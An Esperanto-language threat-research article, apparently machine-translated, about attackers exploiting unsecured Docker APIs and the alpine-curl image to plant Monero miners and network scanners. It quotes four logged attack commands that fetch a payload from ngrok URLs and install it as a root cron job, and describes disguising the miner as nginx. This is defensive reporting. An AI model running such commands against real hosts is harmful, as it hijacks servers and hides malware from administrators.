Kiel la ne-privata Docker API kaj publikaj bildoj de la komunumo estas uzataj por distribui kriptajn ministojn

Kiel la ne-privata Docker API kaj publikaj bildoj de la komunumo estas uzataj por distribui kriptajn ministojn

Ni analizis la datumojn kolektitajn per mielpotaj ujoj, kiujn ni kreis por spuri minacojn. Kaj ni detektis gravan agadon de nedezirataj aŭ neaŭtorizitaj kriptaj ministoj deplojitaj kiel friponaj ujoj uzante komunum-publikigitan bildon sur Docker Hub. La bildo estas uzata kiel parto de servo, kiu liveras malicajn kriptajn ministojn.

Aldone, programoj por labori kun retoj estas instalitaj por penetri malfermajn najbarajn ujojn kaj aplikojn.

Ni lasas niajn mielpotojn kiel estas, tio estas, kun defaŭltaj agordoj, sen ajnaj sekurecaj mezuroj aŭ posta instalado de plia programaro. Bonvolu noti, ke Docker havas rekomendojn por komenca aranĝo por eviti erarojn kaj simplajn vundeblecojn. Sed la mielpotoj uzataj estas ujoj, dezajnitaj por detekti atakojn celantajn la kontenerigplatformon, ne la aplikojn ene de la ujoj.

La detektita malica agado ankaŭ estas rimarkinda ĉar ĝi ne postulas vundeblecojn kaj ankaŭ estas sendependa de la Docker-versio. Trovi malĝuste agorditan, kaj tial malfermitan, ujbildon estas ĉio, kion atakantoj bezonas por infekti multajn malfermitajn servilojn.

La nefermita Docker API permesas al la uzanto plenumi ampleksan gamon de teamoj, inkluzive de ricevi liston de kurantaj ujoj, ricevi protokolojn de specifa ujo, komenci, ĉesigi (inkluzive devigita) kaj eĉ krei novan ujon el specifa bildo kun specifitaj agordoj.

Kiel la ne-privata Docker API kaj publikaj bildoj de la komunumo estas uzataj por distribui kriptajn ministojn
Maldekstre estas la livera metodo de malware. Dekstre estas la medio de la atakanto, kiu ebligas foran ruladon de bildoj.

Kiel la ne-privata Docker API kaj publikaj bildoj de la komunumo estas uzataj por distribui kriptajn ministojn
Distribuo laŭ lando de 3762 malfermitaj Docker-API-oj. Surbaze de Shodan-serĉo datita 12.02.2019/XNUMX/XNUMX

Opcioj pri atakĉeno kaj utila ŝarĝo

Malica agado estis detektita ne nur kun la helpo de mielpotoj. Datumoj de Shodan montras, ke la nombro da elmontritaj Docker-API-oj (vidu la duan grafikon) pliiĝis de kiam ni esploris miskonfiguritan ujon uzatan kiel ponton por disfaldi Monero-kripmonan minadprogramaron. En oktobro de la pasinta jaro (2018, aktualaj datumoj vi povas aspekti tiel ĉ. tradukisto) estis nur 856 malfermitaj APIoj.

Ekzameno de la mielpotaj ŝtipoj montris, ke uzado de bildujo ankaŭ estis asociita kun la uzo de ngrok, ilo por establi sekurajn ligojn aŭ plusendi trafikon de publike alireblaj punktoj al specifitaj adresoj aŭ rimedoj (ekzemple lokagastiganto). Ĉi tio permesas al atakantoj dinamike krei URL-ojn dum liverado de utila ŝarĝo al malferma servilo. Malsupre estas kodaj ekzemploj de la protokoloj montrantaj misuzon de la servo ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Kiel vi povas vidi, la alŝutitaj dosieroj estas elŝutitaj de konstante ŝanĝantaj URL-oj. Ĉi tiuj URL-oj havas mallongan limdaton, do utilaj ŝarĝoj ne povas esti elŝutitaj post la limdato.

Estas du utilaj opcioj. La unua estas kompilita ELF-ministo por Linukso (difinita kiel Coinminer.SH.MALXMR.ATNO) kiu konektas al la minindustria naĝejo. La dua estas skripto (TrojanSpy.SH.ZNETMAP.A) desegnita por akiri certajn retajn ilojn uzatajn por skani retajn gamojn kaj poste serĉi novajn celojn.

La guta skripto starigas du variablojn, kiuj tiam estas uzataj por disfaldi la ministon de kripta monero. La HOST-variablo enhavas la URL, kie troviĝas la malicaj dosieroj, kaj la RIP-variablo estas la dosiernomo (fakte, la hash) de la ministo por esti deplojita. La HOST-variablo ŝanĝiĝas ĉiufoje kiam la hash-variablo ŝanĝiĝas. La skripto ankaŭ provas kontroli, ke neniuj aliaj kriptaj ministoj funkcias sur la atakita servilo.

Kiel la ne-privata Docker API kaj publikaj bildoj de la komunumo estas uzataj por distribui kriptajn ministojn
Ekzemploj de HOST kaj RIP-variabloj, same kiel kodpeceto uzata por kontroli, ke neniuj aliaj ministoj funkcias

Antaŭ ol komenci la ministon, ĝi estas renomita al nginx. Aliaj versioj de ĉi tiu skripto renomas la ministon al aliaj laŭleĝaj servoj, kiuj povas ĉeesti en Linukso-medioj. Ĉi tio kutime sufiĉas por preterpasi kontrolojn kontraŭ la listo de kurantaj procezoj.

La serĉskripto ankaŭ havas funkciojn. Ĝi funkcias kun la sama URL-servo por disfaldi la necesajn ilojn. Inter ili estas la duuma zmap, kiu estas uzata por skani retojn kaj akiri liston de malfermitaj havenoj. La skripto ankaŭ ŝarĝas alian binaron, kiu estas uzata por interagi kun la trovitaj servoj kaj ricevi standardojn de ili por determini pliajn informojn pri la trovita servo (ekzemple ĝia versio).

La skripto ankaŭ antaŭdeterminas kelkajn retintervalojn por skani, sed tio dependas de la versio de la skripto. Ĝi ankaŭ fiksas la celajn havenojn de la servoj - en ĉi tiu kazo, Docker - antaŭ ol ruli la skanadon.

Tuj kiam eblaj celoj estas trovitaj, standardoj estas aŭtomate forigitaj de ili. La skripto ankaŭ filtras celojn depende de la servoj, aplikoj, komponantoj aŭ platformoj de intereso: Redis, Jenkins, Drupal, MODX, Kubernetes Majstro, Docker 1.16 kliento kaj Apache CouchDB. Se la skanita servilo kongruas kun iu el ili, ĝi estas konservita en tekstdosiero, kiun atakantoj povas poste uzi por posta analizo kaj hakado. Ĉi tiuj tekstaj dosieroj estas alŝutitaj al la serviloj de la atakantoj per dinamikaj ligiloj. Tio estas, aparta URL estas uzata por ĉiu dosiero, kio signifas, ke posta aliro estas malfacila.

La atakvektoro estas Docker-bildo, kiel povas esti vidita en la sekvaj du pecoj de kodo.

Kiel la ne-privata Docker API kaj publikaj bildoj de la komunumo estas uzataj por distribui kriptajn ministojn
Supre estas renomado al legitima servo, kaj malsupre estas kiel zmap estas uzata por skani retojn

Kiel la ne-privata Docker API kaj publikaj bildoj de la komunumo estas uzataj por distribui kriptajn ministojn
Supre estas antaŭdifinitaj retaj intervaloj, malsupre estas specifaj havenoj por serĉi servojn, inkluzive de Docker.

Kiel la ne-privata Docker API kaj publikaj bildoj de la komunumo estas uzataj por distribui kriptajn ministojn
La ekrankopio montras, ke la alpa-bukla bildo estis elŝutita pli ol 10 milionojn da fojoj

Surbaze de Alpine Linukso kaj curl, rimeda CLI-ilo por translokigi dosierojn tra diversaj protokoloj, vi povas konstrui Docker-bildo. Kiel vi povas vidi en la antaŭa bildo, ĉi tiu bildo jam estis elŝutita pli ol 10 milionojn da fojoj. Granda nombro da elŝutoj povas signifi uzi ĉi tiun bildon kiel enirpunkton; ĉi tiu bildo estis ĝisdatigita antaŭ pli ol ses monatoj; uzantoj ne tiom ofte elŝutis aliajn bildojn el ĉi tiu deponejo. En Docker punkto de eniro - aro da instrukcioj uzataj por agordi ujon por funkcii ĝin. Se la enirpunkto-agordoj estas malĝustaj (ekzemple, la ujo estas lasita malfermita de la Interreto), la bildo povas esti uzata kiel atakvektoro. Atakantoj povas uzi ĝin por liveri utilan ŝarĝon se ili trovas misagordita aŭ malfermita ujo lasita nesubtenata.

Gravas noti, ke ĉi tiu bildo (alpa-buklo) mem ne estas malica, sed kiel vi povas vidi supre, ĝi povas esti uzata por plenumi malicajn funkciojn. Similaj Docker-bildoj ankaŭ povas esti uzataj por fari malicajn agadojn. Ni kontaktis Docker kaj laboris kun ili pri ĉi tiu afero.

rekomendoj

Malĝusta agordo restaĵoj konstanta problemo por multaj kompanioj, precipe tiuj efektivigantaj DevOps, temigis rapidan evoluon kaj liveron. Ĉio estas pligravigita de la neceso plenumi la regulojn pri revizio kaj kontrolado, la bezono kontroli la konfidencon de datumoj, kaj ankaŭ la grandega damaĝo pro ilia neobservo. Enkorpigi sekurecan aŭtomatigon en la evoluan vivociklon ne nur helpas vin trovi sekurecajn truojn, kiuj alie povus esti nerimarkitaj, sed ĝi ankaŭ helpas vin redukti nenecesan laborŝarĝon, kiel ruli pliajn programajn konstruojn por ĉiu malkovrita vundebleco aŭ misagordo post kiam aplikaĵo estas deplojita.

La okazaĵo diskutita en ĉi tiu artikolo reliefigas la bezonon konsideri sekurecon de la komenco, inkluzive de la sekvaj rekomendoj:

  • Por sistemadministrantoj kaj programistoj: Ĉiam kontrolu viajn API-agordojn por certigi, ke ĉio estas agordita por akcepti nur petojn de specifa servilo aŭ interna reto.
  • Sekvu la principon de malplej rajtoj: certigu, ke ujbildoj estas subskribitaj kaj kontrolitaj, limigu aliron al kritikaj komponantoj (ujo de lanĉa servo) kaj aldonu ĉifradon al retaj konektoj.
  • Sekvu rekomendoj kaj ebligi sekurecajn mekanismojn, ekz. de Docker kaj enkonstruita sekurecaj trajtoj.
  • Uzu aŭtomatigitan skanadon de rultempoj kaj bildoj por akiri pliajn informojn pri la procezoj kurantaj en la ujo (ekzemple, por detekti falsadon aŭ serĉi vundeblecojn). Aplika kontrolo kaj monitorado de integreco helpas spuri eksternormajn ŝanĝojn al serviloj, dosieroj kaj sistemaj areoj.

Trendmicro helpas al DevOps-teamoj konstrui sekure, rapide disvolviĝi kaj lanĉi ie ajn. Trend Micro Hibrida Nuba Sekureco Provizas potencan, simpligitan kaj aŭtomatigitan sekurecon tra la DevOps-dukto de organizo kaj disponigas multoblajn minacdefendojn. XGen protekti fizikajn, virtualajn kaj nubajn laborŝarĝojn ĉe rultempo. Ĝi ankaŭ aldonas ujan sekurecon kun Profunda Sekureco и Profunda Sekureco Inteligenta Kontrolo, kiuj skanas Docker-ujo-bildojn por malware kaj vundeblecoj en ajna punkto en la disvolva dukto por malhelpi minacojn antaŭ ol ili estas deplojitaj.

Signoj de kompromiso

Rilataj haŝoj:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

En Videokurso de Docker Praktikantaj parolantoj montras kiajn agordojn oni devas unue fari por minimumigi la verŝajnecon aŭ tute eviti la okazon de la supre priskribita situacio. Kaj la 19-21-an de aŭgusto ĉe reta intensivo DevOps Iloj & Trompoj Vi povas diskuti ĉi tiujn kaj similajn sekurecajn problemojn kun kolegoj kaj praktikantaj instruistoj ĉe ronda tablo, kie ĉiuj povas paroli kaj aŭskulti la dolorojn kaj sukcesojn de spertaj kolegoj.

fonto: www.habr.com

Aldoni komenton